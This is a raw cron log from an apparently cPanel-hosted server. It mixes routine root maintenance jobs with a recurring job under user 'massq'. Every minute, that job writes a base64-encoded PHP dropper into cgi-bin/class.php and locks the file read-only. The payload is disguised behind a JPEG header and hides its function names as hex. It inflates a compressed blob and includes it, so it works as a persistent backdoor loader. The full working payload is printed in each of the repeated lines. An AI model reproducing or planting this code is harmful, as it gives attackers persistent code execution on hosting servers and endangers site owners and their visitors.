Sep 12 00:56:01 server CROND[22126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:56:01 server CROND[22127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:57:01 server CROND[22510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:57:01 server CROND[22511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:57:01 server CROND[22509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:57:01 server CROND[22512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:58:01 server CROND[23067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:58:01 server CROND[23068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:58:01 server CROND[23069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:59:01 server CROND[23441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:59:01 server CROND[23439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:59:01 server CROND[23440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:00:01 server CROND[23844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:00:01 server CROND[23846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:00:01 server CROND[23847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:00:01 server CROND[23848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:00:01 server CROND[23853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:00:01 server CROND[23858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:00:01 server CROND[23855]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:00:01 server CROND[23857]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 01:00:01 server CROND[23856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:01:01 server CROND[24682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:01:01 server CROND[24685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:01:01 server CROND[24684]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 01:01:01 server CROND[24683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:01:01 server run-parts(/etc/cron.hourly)[24684]: starting 0anacron
Sep 12 01:01:01 server anacron[24705]: Anacron started on 2026-09-12
Sep 12 01:01:01 server anacron[24705]: Normal exit (0 jobs run)
Sep 12 01:01:01 server run-parts(/etc/cron.hourly)[24707]: finished 0anacron
Sep 12 01:02:01 server CROND[25066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:02:01 server CROND[25067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:02:01 server CROND[25068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:03:01 server CROND[25441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:03:01 server CROND[25442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:03:01 server CROND[25449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:04:01 server CROND[25809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:04:01 server CROND[25810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:04:01 server CROND[25811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:05:01 server CROND[26173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:05:01 server CROND[26178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:05:01 server CROND[26194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:05:01 server CROND[26196]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:05:01 server CROND[26197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:05:01 server CROND[26195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:05:01 server CROND[26198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:05:01 server CROND[26200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:06:01 server CROND[27109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:06:01 server CROND[27111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:06:01 server CROND[27112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:07:01 server CROND[27489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:07:01 server CROND[27490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:07:01 server CROND[27491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
